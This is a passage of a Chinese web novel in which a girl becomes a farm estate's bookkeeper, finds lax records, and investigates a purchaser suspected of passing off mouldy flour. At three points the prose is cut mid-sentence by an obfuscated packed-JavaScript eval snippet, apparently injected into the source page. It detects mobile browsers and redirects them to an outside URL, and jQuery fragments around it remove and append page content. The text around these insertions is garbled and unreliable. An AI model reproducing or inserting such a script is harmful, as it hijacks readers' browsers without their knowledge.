“你不是会算账么？上一个账房先生走了三个月了，一直没寻着合适的接班。这几个月来庄里的账都是庄主管的，她也挺累。现在好了，有你来了。我也想瞧瞧，你的本领是不是真像你说得那样好，别是光吹牛呢。” 宋文楚撇撇嘴：“那你可瞧好了，别到时候惊得眼珠子掉下来。” “成，我等着。” 吃过饭，狗剩领着她往庄子东头走。 青石小径通向一间独门独户的小院，门口种着几竿瘦竹，风过时沙沙作响。 门上挂了块匾：账房先生的屋。瞧着有些年头了。 阳光在竹叶缝隙间摇曳，泄下来落在门上，零零散散。 屋子里面也很敞亮。靠窗一张乌木案几，案上搁着寻常的笔墨纸砚，边上的青瓷小瓶中插了三两枝枯花。 靠墙一架书格，格子里整整齐齐码着些账簿，册脊上贴着签子，什么“丁酉年秋收”“戊戌年春耕”“山货往来”等，底下搁了张藤椅。 墙角一张小榻，榻上铺着的粗布褥子也是叠得方方正正。 狗剩跟在后面，见宋文楚够着头往窗台上张望，问道：“你看什么呢？” 宋文楚抬手指指：“你不是说上一个账房先生留了花么？就是这盆？” 窗台上一盆绿植，细长青幽的叶子往上伸着去汲取窗外透来的光。 ……怎么看都是盆草？ “这是花？” 狗剩凑过来看了眼，思索片刻：“不知道，我看着也像草。可账房先生说是花，那就是花吧。” 宋文楚：“……” 花盆底下压着张纸条，她取下来，上面写着几行工整隽秀字迹： “后来者见字如面：此花名唤素心，春日开小白花，味清香，吾心爱之。我养了三年不忍带走，留与有缘人。若它还活着，烦请托人带个信到城东墨香阁，说一声‘老张的素心还在’，我便知了。多谢。”落款一个张。 素心，名字真好听。 她心中软软的又忧忧的，这么喜欢为何离开时不带走，走也走了又放心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320293|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不下。 狗剩在身后说：“老张走了三个月了这花也没人管，我偶尔浇点水倒还是活得挺好。” “你浇的？” “嗯。老张走之前特意嘱咐的。说这花耐旱不能多浇，十天半月一次就行，我一直记着呢。” 宋文楚把宋展翅放在窗台上，让它陪着那盆花顺便溜达溜达。 “对了，”她回过头问狗剩，“周庄主什么时候来教我管账？” “庄主？庄主和伏雪昨儿个夜里就走了啊。” 宋文楚愣了一下：“走了？那庄主什么时候再来？” 他低头看她，笑道：“这我可说不准，庄主不常待在庄子里有事才来呢。来了就处理账本，麻烦的带走处理。昨儿个就是碰巧过来看看，待了没两个时辰又走了。下次来……谁知道呢，许是半个月，许是两个月。怎么，想庄主了？” 宋文楚摇摇头，又点点头：“那账怎么办？” 狗剩走到书架前，从那叠账本里抽出一本。 “你先别急，庄主走之前交代我先教你一些最基本的。等你约摸着上手了，她再来亲自教。” 宋文楚有些意外：“你？你还会管账？” “怎么？”狗剩被这么一质疑，有点不服气，“瞧不起谁呢？我在这庄上待了三年，跟着老张耳濡目染也学了不少。” “行，那就请狗剩哥指教了。” 狗剩把账本往案上一摊，不急着叫宋文楚看，反而从抽屉里翻出个算盘来搁在她眼前。 “来，先试试这个。” “何意？” “试试你会不会用啊。”狗剩把藤椅拖来往上一靠，翘起二郎腿，“你不是说你会算账么？先打两下我瞧瞧手法。” 然后一阵噼里啪啦，狗剩抬手示意她停下：“行行，手法姿势有模有样的，那咱们开始吧。” “庄上如今庄客三十七口人，哦加上你三十八了。每个月月底发工钱。不分大小按人头算，每人每月三百文。干满一年的庄客年底可以多拿一份，我和贾阎王这种管事的另算。” 宋文楚：“这么大的庄子怎么才三十八个人？” 狗剩乐了：“三十八还少？这还嫌多呢。贾阎王天天念叨，说人还是太多了养不起。” 宋文楚思绪又恍惚了，忆起宫里头御膳房都不止三十八人。光是跟在她身后伺候她吃饭的嬷嬷太监，就有这庄子一半的人口。 她甩一甩脑袋将这些杂念驱走。 “三十八个人，一个月就是十一两四钱。一年下来……” “一百四十八两二钱。”狗剩抢着答，“我算过了。然后庄上借支、日常采买用度记账、山货药材进出库卖的银钱，一笔笔都得对清楚。暂时就这些，剩下的你今后慢慢学吧。” 说完了，狗剩这才让宋文楚看账本：“这是去年秋天的账。你先看看，看懂多少算多少。” 宋文楚翻开，里面又小又密的字叫人看得眼都花，她凝住神将每个字都过进脑子中。 狗剩百无聊赖盯着窗台，那盆不知是花是草的绿植叶子随风晃动，宋展翅蹲在盆沿上也看那叶子晃，晃一下，它脑袋也跟着歪一下。晃两下，歪两下。歪着歪着，一把伸出翅膀去够！ 然后够了个空，从盆沿上栽下去，翅膀赶紧使劲扑棱几下站稳了。 狗剩被它那傻样逗乐了，龇了个大牙就笑，又怕打扰到宋文楚看账随即捂住嘴偷笑。 乐完就犯困了，昨晚睡得太晚今天又起得太早……眼前的叶子晃成一团模糊的绿。 耳边宋文楚翻账本的声音更催眠了。 “这账，就这么记？” 狗剩惊得差点从藤椅上滑下去。 14. 巧言令色 狗剩握住藤椅扶手，探过来半边身子：“怎么？不对？” “不是不对。”宋文楚将账本转向狗剩，指着其中一行，“是记得不清。你看这儿啊，九月十五，卖山货得银二十两。底下备注是‘茯苓、柴胡、野菊花’。” 她再往后翻了几页：“这边也是——十月初三，卖山货得银十八两。备注是‘党参、黄芪、五味子’。这两笔账都是只记了卖了多少银子，却没记卖了多少斤。” 狗剩瞧不出有什么问题，不一直这样吗：“对啊。老张在这儿干了三年，他记的账本都这样，庄主看过也没说什么。” 庄主没说什么，因为那是庄主。 庄主管着整个庄子，忙着外头的事哪有工夫一页一页对账？大概翻翻看看总数，差不离就过去了。 但她现在接手，往后这账便是她的事了。 宋文楚起身到书架前，把那排账本挨个抽出来快速翻过。 果然都是这样的记法。 “没记斤两从何得知单价呢？山货的价格向来都是随市场浮动，今年茯苓什么价、柴胡什么价、党参什么价，倘若这些不记下来，明年再卖，就没法对比是贵了还是贱了？是哪一味卖得好，哪一味卖亏了？” “不仅山货，像这里日常开支，喏，‘十一月初八买盐，花了二两银子’，又是只记了银钱没记斤数，和前面一个道理。” 宋文楚又往后翻，翻得眉头直皱：“给庄客发工钱也只记了‘翠花三百文’，我记得庄客名单里有两个翠花吧，大翠花和小翠花。这是哪个翠花？不写清楚到时候发钱，怎么知道谁领过谁没领过？” “月末结余记得也不妥，上面记得结余是二十三两四钱，该把下月初的开销也记进去。万一月初急着用钱，账上看着有实际上已经花了，不就耽误事了么？” 宋文楚从未见过这样糊涂的账！ 没记斤两，分不清大小翠花，结余未留出，上一个账房先生分明就是偷懒。 狗剩今日也算是涨了见识，满眼都是佩服。这哭震天个头看着不大，脑子怎么就这么灵活呢？ “行啊你！还真不是吹牛啊，你是个有本事的。” 宋文楚让他夸得有些不好意思，低头抿了抿唇。 狗剩手肘撑在案上，手指随意拨弄着算盘，边拨边摇头道： “老张在这待了三年了，这些毛病他咋就没看出来呢？” 宋文楚想了想：“可能是看习惯了？” 狗剩仍在感叹：“那你才看了多大会儿，怎么就挑出这么多毛病，啧啧。” “或许这便是当局者迷，旁观者清罢。”宋文楚故作高深。 狗剩失笑，随后把账本合上往桌上一拍。 “行了，我教不了你。” 宋文楚：“啊？” 狗剩站起来伸了个懒腰，拍拍屁股：“你这水平都我高多了，我教你什么呀教？你先自己琢磨着，回头庄主来了，让她再教你。”又把藤椅拖回书架底下。 狗剩困得要死急匆匆地滚回去补觉，宋文楚留下继续看账本了。 她已经没了看的心思，摸着那摞旧账本，发了好一会儿呆。 回过神来看了几页，合上。再看几页，又合上。 宋展翅捉够了叶子，这下终于有闲心理到她，灰毛团拱直身体一下子弹射到案上，结果翅膀扑得太猛给那青瓷给带翻了，还是宋文楚手快稳住才没掉地上。 笑骂过它几声，鲲将头埋进翅膀里装死。 她在桌边来来回回走了好多遍，最后又坐下。 拍了拍鲲的头，问它：“你说我该怎么办？” “是接着这样记，凑合着往下走呢？还是从头理一遍把该补的补上，往后自己心里才有数？” 鲲只能用喙啄一啄她手指，它给不了她答案。 账房张先生这做了三年的账，该重做么？若重做，得重做到什么时候去？不重做，往后她又该怎么往下接呢？ 真是给她丢了个大难题。 可即便是重做…… 张先生习惯这么记了，庄上就这么习惯过来的。她一来就要改，旁人难免会产生抵触情绪。 思来想去天人交战，宋文楚终是定了主意。 等狗剩再次踏入这间小屋时，太阳已经偏西了。 他一推门就见宋文楚还坐在那儿，边上堆了一摞簿册，面前摊着本账，底下压着几张纸，手握一支笔，边看边写。 记完一本，换下一本。 几张纸上写得密密麻麻，给狗剩见着都惊到了。 “还没走呢？要不要这么勤快？别说你这账房先生当得可太上道了……对喽先声明一声你活干再多再劳碌，还是得那一份工钱。” 宋文楚揉了揉眼睛：“我知道的。” 狗剩拿过桌上的纸看，什么“九月十五，卖山货，缺斤两”“十月初三，卖山货，缺斤两”“十一月初八，买盐，缺斤两”“翠花两个，未注明”…… “你这是……” 宋文楚合上手里的账本，往椅背上一靠，长长地呼了口气。 “狗剩哥，这三年的账我理完了。” 她朝那几张纸努努嘴：“缺漏混杂，我全给记在这上面了，往后我记账心里也有个数。哎，一下子理了三年的账还挺累的，但是理清后心里倒是更松快了。” 写字时难免沾上点墨水晕得手指侧面黑乎乎的，眼睛底下也泛着青。 但她的眼神是那样灿然熠熠，带着坚定与措置裕如的意得，比刚见到她的时候神气多了。 那时她警惕惊惶，竖满了刺建起心防城墙，那时自尊与底气碎落满地，对着无望的前路一筹莫展，只盼个平安。 狗剩嘴角浮出一丝笑。 怪道翠儿喜欢这小姑娘。瞧着不显声色却是个硬骨头，刚来头一晚就敢跟贾阎王顶嘴，那番话听着也很不一般。今日见识到这理账本的本领，更让他看明白了。 庆幸，是真的庆幸。 他庆幸自己那晚多走了几步，跟上了她。 她若是还流落在外，凭着这不知天高地厚的倔脾气……狗剩没敢再往下想。 总归是落不着什么好的。她的眼睛太澄澈，看什么都带着天真，这世上容不下这样的干净。 她那份本事，也就埋在黑漆漆的夜里了。 他算是给庄里捡来个宝了。 然这念头一起，狗剩又暗自摇头。 且看看罢。 往后的事，往后再说。 这时，忽听得外面有人喊：“狗剩！贾阎王叫你！” 狗剩应了一声，遂把纸递还予她，温声道：“行了别理了，去吃饭吧。” 宋文楚捞起鲲塞怀里，临走前也没忘记给素心草浇了点水。 …… 转眼宋文楚在老母猪庄上已小住了半个月。 账房的活儿上手很快，平日里无非是记记出入，对对账目，闲时跟几个交道打得多的庄客吹个牛，扯扯闲篇。只是这些时日里庄主一直没来过，宋文楚甚至疑心，庄主或许已经把她这新来的账房先生给忘了。 宋展翅又长大了些，翅膀底下冒出一排新羽，扑棱起来呼呼带风呢。经常趁她不注意就飞上窗台，蹲在素心旁边晒太阳，一蹲小半天过去。 庄里人都挺好的，除却某个叫马三哥的异数。 若论宋文楚心中讨厌最甚者，当举此人魁首。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333857|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 便是连原先那稳坐鳌头的贾阎王都被他挤了下去。可见得宋文楚对这厮，当真是深恶痛绝，提之咬牙切齿。 他是庄上的采买，平日难免交道打得多了些。宋文楚为何对他如此厌恶呢？因为这是个阴测测的老油条。 马三哥生得肤色白净，眉清目秀，和人讲话慢条斯理温温和和。他做的采买没出过错子，也压得下外面商贩的价，又很会做庄里人情，此人人缘好得不得了。 由此所有人都被他这副表象给忽悠了去。 只有宋文楚慧眼如炬洞悉到他的表里不一！ 无他，唯被坑过是耳。 他有时给宋文楚说的话像在商量，但细品之下并不是那么个意思。 例如马三哥第一次采买完来报账，嘴上客客气气说着“姑娘要是看着哪笔不对尽管问，在下知无不言”，宋文楚点个头，他又立即话锋一转“当然，姑娘若是觉着账上有出入，在下补上就是，都是庄里人嘛。” 这话就不对劲了。 可不是明摆着说，她宋文楚若要查账就是想讹钱？ 哎呦宋文楚这个暴脾气，这下非得查他不可了。结果这么一查，就查出这比支出里七文对不上，那比支出中三文对不上。 头几次她将这三文两文的报上去后，狗剩只道算了，旁人也一口一句和气生财，那马三哥更是假惺惺“那天下雨菜贵了些，哭震天姑娘介意的话，往后我少买就是了，别为这几文钱伤了情分”。 倒显得她较真揪着不放了。 唉，要知道做账房的最怕的不是大数目，毕竟大数目显眼一查一个准，查出来也是件大功劳。 这种小数目，却是最难管的也是最怕的。查吧，容易得罪人，费工夫还不落好。不查吧，账是平的人就容易心虚。 书上没写，太傅更没教过她这些啊！ 这日宋文楚又在为马三哥新递过的采购单苦恼着，厨房的大翠花来敲了她的门。 “哭震天姑娘，我得跟你说个事儿。” 这名声传得太响亮，现在庄中名册簿上记她都是这三字，说的人多了，宋文楚也懒得纠正，他们乐意怎么叫怎么叫吧，反正也别不过来了。 大翠花是个爽利人，说话直来直去：“上个月马三哥采买回来的那批面发霉了。也不是全发霉，只有底下那几袋。上头的瞧着都是好的，就底下那几袋打开一股霉味儿。我和面的时候才发现，可是面已经和了已经没法退了。” “这事怎么不跟马三哥说？”宋文楚问。 大翠花眉毛立刻竖起来：“姑娘你来庄里这么久了，有见过那个死人跟人红过脸吗？他比那红脸的都难缠，每每过错在他事到最后反被他倒打一耙，还搞得自己不是，我一句话不想跟他多说！” 宋文楚听完大翠花这通倒苦水心中一下子热切起来，原来还有别的明眼人看出来马三哥的狡诈诡辩！ 她立马安抚起大翠花的情绪，边问她：“你当时怎么不说呢？” “当时没发现啊。那几袋搁在最底下，谁没事把面全倒出来看？” “那就难办了，现在去问他一定不认的。” 大翠花：“不被他反诬陷是我放在受潮处才导致的发霉都是好事了！” 宋文楚扶额：“那你放了吗？” 大翠花眨眨眼睛，嘴角向下一撇，像是要哭：“放了……呜呜呜呜……” 宋文楚小大人模样拍拍她肩，好生哄着：“即便放在潮处也不至于这样，放心吧，这事跟你没关系。想必是马三哥为了吞油水，故意用的低价购得霉面以次充好。” 宋文楚拍着胸脯给她保证了三次会还她一个公道，大翠花才心慌慌地哭哭唧唧着走了。 15. 霉面疑云 第二日收到大翠花传话，马三哥清早上又出门采买去了，宋文楚当即算盘一拍，将门一甩，叫上狗剩，大步流星飒踏犹如督察巡检架势去了后院库房。 库房里堆的有粮食、杂物、农具等，平常也鲜有人来更别提整理了，由此里面的东西都积得极为混乱。 宋文楚使唤着狗剩废了好半天劲才找到那几袋面——原来搁在最里面藏着呢。 上头堆了新买回的东西，不扒拉开那些东西根本寻不着。 狗剩一手拎一个面袋子提了出来，打开一看，面像是死掉一样的灰色。 捏一撮凑近去闻有一股陈年荒屋掸不去的霉腥味，又闷又潮。 狗剩吸了两口感觉鼻孔里痒痒的，没忍住打了两个喷嚏：“这味儿要熏死我了。” 被熏着的不止他一个人，宋文楚也难受，但没办法，只得先从面粉下手极力找出点蛛丝马迹。 她扯过袖捂住鼻子靠口呼吸，把那几袋面翻来覆去看了几遍，狗剩默不作声提着灯笼在一旁照亮。 也不知过去了多久。 “狗剩哥别晃啊，晃得我都看不清了，再坚持一会儿好吗？”宋文楚啧了声。 狗剩立刻端正姿态，认真当起执灯人。 看过好几遍了袋子上都没有记号，压根看不出是哪家买的。宋文楚拍拍手上的灰准备起身了，目光最后再一瞥袋子，只这一瞥，却叫她瞧出点和先前都不一样的地方。 “等等——灯给我！” 将灯贴近面粉袋，一下子照出了区别：袋口缝线处的角落地方对比别处深些，有个模模糊糊的印子，但是被蹭掉了大半。宋文楚歪着头仔细辨认——似乎是个字。 一听有字，狗剩精神头上来了，也不无聊了：“什么字？” 宋文楚不太确认：“好像是个……孔？” “孔？”狗剩眯着眼脖子伸老长了，最后笃定，“不像，我看着是个‘子’字。” 宋文楚不赞同：“子？哪儿像了，子没这么长吧？这底下还有一横呢。” 狗剩一脸“你不行，我最有道理”的表情。 “那不是一横，那是袋子的褶子。你看吧这褶子一压，是不是就像一横了？” 宋文楚哼一声：“褶子能压那么直？” 两人你一言我一语，争得都忘却了那股难闻的霉味，全心沉浸在字形辩论中，各执一词都觉得自己最有道理。 这下鲲忍不住了，从宋文楚袖里探个头也来凑热闹。先是冲着宋文楚咻咻，又转头对狗剩咻咻，最后脖子一昂眼冒金光。 这眼神将两个人狠狠鄙夷了一遍。 狗剩好奇：“它说什么呢？” 宋文楚没好气道：“它说咱俩都瞎。” 狗剩笑得直不起腰，把鲲捉了放自己手掌里逗它玩，问它更像“孔”还是“子”。若是答得没让他满意，狗剩就不厌其烦问了一遍又一遍，宋展翅被他问得双目呆滞最终只得违心指了“子”，这下狗剩可算是志得意满，结束了折磨鲲鹏幼小心灵的酷刑。 “不过嘛，我想了想你的说法，好像确实又有点像孔了。” 宋文楚：“怎么这会儿想通了？” 狗剩嘻嘻一笑：“方才光线不好，看差了眼。” “算了，不管是孔还是子的，争来也没有意义，或许我们都瞧错了呢。”狗剩把面袋子原样塞回去，二人出了库房。 “后面你打算怎么办？”狗剩问。 宋文楚：“等他回来再说吧。” 马三哥是傍晚回来的，车停在院门口。他将车上装着布匹、盐巴、还有几包点心一样一样往下搬，见了人就笑，一脸和蔼可亲模样。 “朱婶儿，给您捎的线搁这儿了。” “贾叔，您要的烟丝回头我亲自送屋里去。” 朱婶眼笑没了，贾阎王嘴笑歪了——哦其实也没这么夸张，但那张不苟言笑的脸上确实出现了稀罕的笑容。 连贾阎王都沦陷了，旁的谁人见了又能不说一句朴实敦厚马三哥？ 又在收买人心了，这个绵里藏针的家伙，宋文楚站在院子里远远看着。 等马三哥殷勤劲显完了，她才走过去，故作惊讶：“马三哥，这么晚才回来呀？” 马三哥回过头，嘴一咧又挂上招牌笑：“是有什么事情吗哭震天？” “嗯嗯，事关上个月你采购的一批精面。厨房大翠花今天给我讲，说的其中有几袋发霉了，这件事你知道吗？” 马三哥一脸“还有这种事”的惊讶，怕自己被误解颇为耐心解释道： “啊，发霉了？可是那批面是我在铺子里亲自挑了装的车，回来搬库房的时候还找了几个弟兄帮忙呢，更没人会动手脚。里面一把一把都是新磨的精面，怎么可能发霉呢？” 宋文楚：“倒也不是全部，是库房里面最底下那几袋发了霉的。” “底下那几袋？”马三哥一拍脑袋，似才反应过来，“你有所不知，库房里面向来湿气大。面这东西嘛，搁久了难免受潮。我前头买面把关地严实规矩，可在库房里搁了一个月，再出现什么问题实是没理怪到我头上的，我看呐许是库房潮湿的缘故罢。”说到最后连叹可惜可惜，对浪费的那几袋面心疼得紧。 他这话说得也确实挑不出错。庄上人都知道库房容易受潮。 宋文楚心里啐他装模作样，嘴上表示认同讲上一句“此话不假”。 马三哥见此事就被自己三言两语轻轻揭过，不免心神飘忽，起了说教心思：“你来的日子不算长，有些事到底还不清楚，库房那地儿潮气一直重。别说面，就是放干货时间长了也得长毛。我马三哥是个实诚人，不会搞那些弯弯绕绕，每次采买可都是挑最好的，价钱都比别家贵几分呢，为的就是大伙儿吃着放心。” “我呀在庄子里采购了这些年，庄主最放心我干这差事。我这三年风里来雨里去，没一天偷懒的。庄上三十多口人，吃的用的，哪一样不是我一趟一趟跑回来的？好些时候为着几个铜板，跟人磨破嘴皮子。有时候回来晚了，饭都热过几遍了才吃上。我的累，大伙儿都看在眼里。” 委屈计上心头，声音都哽咽了。这几句说得真情实感，马三哥为庄子的付出埋没不掉。想他刚来的那年，未拿过庄里一针一线，不曾动过账上一厘一毫，采买做的当真清正廉洁。 伤怀如乱箭齐发，来得猛去得急，马三哥拭一拭眼角那点不存在的泪，恢复了虚伪从容的面具脸：“哭震天姑娘，我知道你是新来的账房想要好好做事，给自己挣点脸面。可好些事不能光听他人一面之词，大翠花那人我虽跟她交道打得少，我也知她心肠是好的，可人呀，难免会有糊涂时候。将别人的糊涂话听进去了，最后拖累的只有你自己。” 宋文楚皮笑肉不笑，对他这通自说自话全当放屁，末了只回应一句：“是啊，库房确实潮。” 马三哥也笑了，看起来像位斯文磊落的文士：“姑娘明白人。”他拍拍袖子，转身要走。 宋文楚唤住他。 “马三哥，下一次采买我跟你一块儿去一趟吧！来了半个月还没出过庄子，账记了不少，却还不知采买那些米面粮油究竟是个什么形式呢。我想去见见世面，往后记账心里才更有数呢。” 马三哥脚下一顿，他回头过来依是笑意盈盈应下：“成啊，这是好事。三日后卯初时分我在后门口等你，可别错过时间了。”撂下这话便走了，步履匆匆。 听完全程的大翠花从旁边冒出来，着重拣出说她糊涂那几句恶狠狠回敬过去，骂畅快了这才问：“你真要去？” 宋文楚点头。 “他那人说话难听得要死，你听他刚刚那意思，你要去就是不信他，不信他就是冤枉好人。你要是去了还没查出什么，更不得了，回来他指定到处诋毁你，说新来的账房哭震天信不过他亲自去查他。” 宋文楚哦了一声：“好危险啊，那我还是不去了，霉面的事——你保重吧。” 大翠花扑过来搂住她腰，整个人往十二岁的小孩身上一压，宋文楚差点被她压翻了：“别——！我就跟你假客气客气，你可别真不去啊我的好姑娘！” 宋文楚已经顾不上被她嚎得生疼的耳朵了，她两条胳膊抵住大翠花使劲向外推，大翠花总算发觉自己行为不妥，立马退开去连声道抱歉。 宋文楚喘着气理正衣裳。 “好啦好啦，到时候我肯定盯紧了，看看他那几袋面是从谁手里买的。” 大翠花眼冒金星，看宋文楚的眼神说是在看菩萨都不为过。 三日后。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337471|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >寅初时分宋文楚就醒了。她一晚上没睡踏实，翻来覆去翻到后半夜干脆不睡了，看着窗外寡白月亮等天亮。 宋文楚静望片刻后起身摸黑穿好衣裳，一手捞起还在打呼噜的鲲往袖里一揣，蹑手蹑脚出了门。 穿草丛时，草叶子上的露水全溅鞋面上，宋文楚感觉湿意渗了鞋袜中。她绕过前院，往后门口走。 突然外面传来咯噔，咯噔，咯噔的声响。 她快走几步拐过墙角，就看见后门口停着一辆马车。马三哥坐在车辕上，马打了个响鼻他赶紧“嘘”了一声，手握缰绳催着马： “快走快走，趁早——” 话没说完，一扭头就撞上宋文楚的视线，马三哥猛地咳嗽好几下。不过他也是老场面人了，这种小尴尬算不得尴尬，面上那丝不自然化开得很快。 “咳咳，来这么早？这才什么时辰？离卯时还早着呢！” 宋文楚面上似笑非笑：“马三哥更早，这会儿才寅正呢。” 马三哥和颜悦色，话里尽是体贴：“那是那是，赶早不赶晚嘛。我寻思着先出来套套车，套好了再回去接你省得你站着等呢，姑娘家的受不得风寒。行了行了，快别站着上车罢。”他侧身往旁边挪了挪，拍拍车沿。 启车后，马三哥有一搭没一搭跟她唠着：“你几时睡的啊？” “亥时。” 马三哥算了算，面上流露出一丝复杂：“亥时到寅正……那才睡了四个时辰不到。” 他寻思着：这人该不是专门来堵我的吧？ …… 到了镇上，马三哥把车停在一家粮铺门口。 “这家是老字号了，以童叟无欺货真价实卖出口碑，我每次买面都是来的这儿。” 掌柜的是个胖老头，见了马三哥就笑：“哟，马兄弟来了？这回要多少？”马三哥报了个数，胖老头应着招呼伙计们装车。 铺子亮堂，堂内整整齐齐堆着米面粮油，她走到面袋子跟前闻了闻，并没有霉味。 一闻便知是今年新收成的麦子磨的面，淡淡的香气中还带着点甜。 没人管她，她又往堂里走了几步，就看见后头靠墙摆着几袋面，袋子上都落了灰，像是搁了有些日子了。她扒开袋口的缝线处角落，果然在上面看到字。 “掌柜的，这几袋面是什么时候的？” 胖老头顺着她手指看过去，笑道：“哦这个呀，是今年五月下旬的存货，搁的时间久了回头就便宜处理掉。” 自进店后马三哥面上不显，其实余光一直悄悄注意宋文楚动向，这时候听到那边声音，立马插嘴话：“哭震天姑娘，那些个都是旧货了咱们庄上不买那个，再便宜也不买。你也看见了，我买的都是新面刚从磨坊拉来的。” 胖老头听到宋文楚的“哭震天”名号，一时没忍住嘴角抽搐。 小事小事，算不得什么风浪，她早已习惯。 买完面，马三哥又带着她去了布庄，杂货铺，油坊……秉承来都来了哪怕不买，也要去逛一遭。 每到一处，里面的人啊必然都是笑脸相迎，一口一个“马兄弟”、“马哥”，不知道的还以为马三哥是这一带混的呢。宋文楚则当个低调的随从，默默观望着。 往回走的路上，马三哥兴致大好，整个扬眉吐气面上冒红光： “今儿个可看清楚了？我这采买光明正大，没有一丝一毫见不得人的。” 宋文楚：“看清楚了。” 马三哥舒心了。 “那就好。往后姑娘有什么不明白的尽管来问，我这人不怕人问也禁得住问。”他又叹了口气。 “我也知道，采买这活儿有油水，难免被些不知内情的疑心。虽说我自己坦荡，可被自己人质疑心里头还是怪难受的。三年了，风里来雨里去没一句怨言，可有些人一来就盯着我，你说我这心里……” 搁这儿阴阳怪气点她呢。 宋文楚大清早爬起来跟着走了一遭还是无功而返，心里本就憋着火，还要听他搁这儿一顿内涵。 宋文楚深呼吸了好几口才压下情绪。 “马三哥，忽然想起来一事，我们今日去的镇上那家粮铺掌柜的姓什么？” 问这个做什么？不过也没什么值得遮掩的，马三哥痛快答了。 16. 见微知著 宋文楚跟着马三哥把采买回的东西样样搬进库房，又一一对过账，确认无误后马三哥转身就往外走了。走出几步宋文楚却没跟上来，他扭头一看，宋文楚还站在库房门口。 问起来宋文楚只道再对对账，马三哥嘴角扯了扯，眼里思索着。 库房里那几袋面，他比谁都清楚，什么痕迹也没了。她就算把整个庄子翻个底朝天，料想也翻不出个水花。 随她吧。 马三哥脚步远去后半盏茶的功夫，狗剩提着灯来了。 一听着他动静，鲲咻了一声从宋文楚袖里冒出来，飞到狗剩肩上慢吞吞地埋下母鸡蹲。 狗剩歪着脑袋冲肩上的鲲笑：“怎么跑我这儿来了？哎三十问你说说你养它这么久了，现在我一来它就奔我来了，这说明什么？”他美得不行，冲宋文楚挤眉弄眼的。 “小鲲鲲，是不是觉得狗剩哥比你家主人温柔？是不是觉得狗剩哥身上香？是不是被狗剩哥的人格魅力给征服了？”狗剩用力挺了挺胸脯。 宋文楚看傻子似的眼神看他。 宋展翅更不耐烦听他吹嘘，照着后脑勺就是一口啄下。 “哎哟！” 狗剩捂着后脑勺跳起来，原地转了两圈，瞪着那只已经飞回宋文楚怀里的鲲，满脸不可置信。 宋文楚忍不住笑出声：“它怎么啄你？” 狗剩揉着后脑勺，也哭笑不得：“我哪里知道！我相貌俊朗脾性温良，庄里人哪个人不喜欢我啊？就它搞特殊，呿。” 宋文楚又问鲲：“你啄他做什么？” 宋展翅脑袋一撇，看也不看狗剩那边：你自个儿心里清楚。 “你是什么时候得罪它了吧？” “得罪？没有啊，我对它可好了，每回见着都夸它精神——” 他话说到一半，忽然顿住了，脸上表情变得很精彩。 这下坏了。 宋文楚好整以暇等着下文。 狗剩笑得有些不好意思，笑意朗朗也敞亮，他一拍头： “就前两天我不是去镇上么？回来的时候买了块烤牛肉搁在厨房了，想着晚上下酒呢。不知怎么的被它闻见了，飞来蹲在窗台上两颗眼珠子直直盯着我。听它叫得急，我就随口那么一说——‘别急别急，回头给你留两块’。后来喝着喝着，就给忘了。” 宋展翅：看吧我没冤枉他。 “不就一块牛肉嘛，好了好了，明个给你补上！” 宋文楚立即“咦”了一声，一人一鲲看过来： “不能厚此薄彼哦，你给它补的时候，可别忘了给我也捎带几片。” 宋展翅眼睛一瞪宋文楚：不会要从我的口粮里分吧？ 然后被宋文楚拍了下脑袋，毛都给拍塌了。 “成。”狗剩应道，“大家都有！” 戏笑够了，狗剩这才查点起正事：“查到什么没有？今日跟他跑了一天，可有发现？” 宋文楚没答话，只让狗剩进去库房再把那几袋面搬出来，狗剩卷起袖子弯腰去拖。袋子打开，又是那股呛人霉味，给狗剩熏得喋喋抱怨。 “这味儿真闻一回糟心一回。” “也不算白费功夫吧，还是找到了一条线索。”宋文楚从袖里摸出一小块炭条，在狗剩不解的目光下往袋口缝线处描着。 孙。 “今天我们去的那家粮面店，他家面袋子口都印着个‘孙’字，掌柜的又姓孙，可见这口袋确实是出品的孙记。” “所以这批霉面，果真是从孙记买的啊？” “错了，袋子是孙记的袋子，可里面装的是谁家面，就不好说了。” 狗剩反应过来：“你是说他换了袋子？他从别处买来便宜的面换进孙记的袋子中，最后报的是孙记的价，中间的差价就全进了他口袋。要这样的话，岂不是更难查了。” “对，袋子上的字迹难以辨清，应该是以前买的孙记面粉用完了袋子没扔，现在正好派上用场了。”宋文楚面色凝重。 两个人都没有再说话，宋文楚毫无头绪地摩挲着袋口，缝的针脚很粗糙，一摸就不是个精巧人做的活计。她在那缝线处拨了拨。 拨着拨着，她手指突然停下，反应过来后使劲捻一捻那袋子，袋子开了。 “狗剩哥，你快看！” 狗剩朝着她指的位置看去，愣住了：“这是……” 宋文楚嘴角弯了弯。 清水镇。 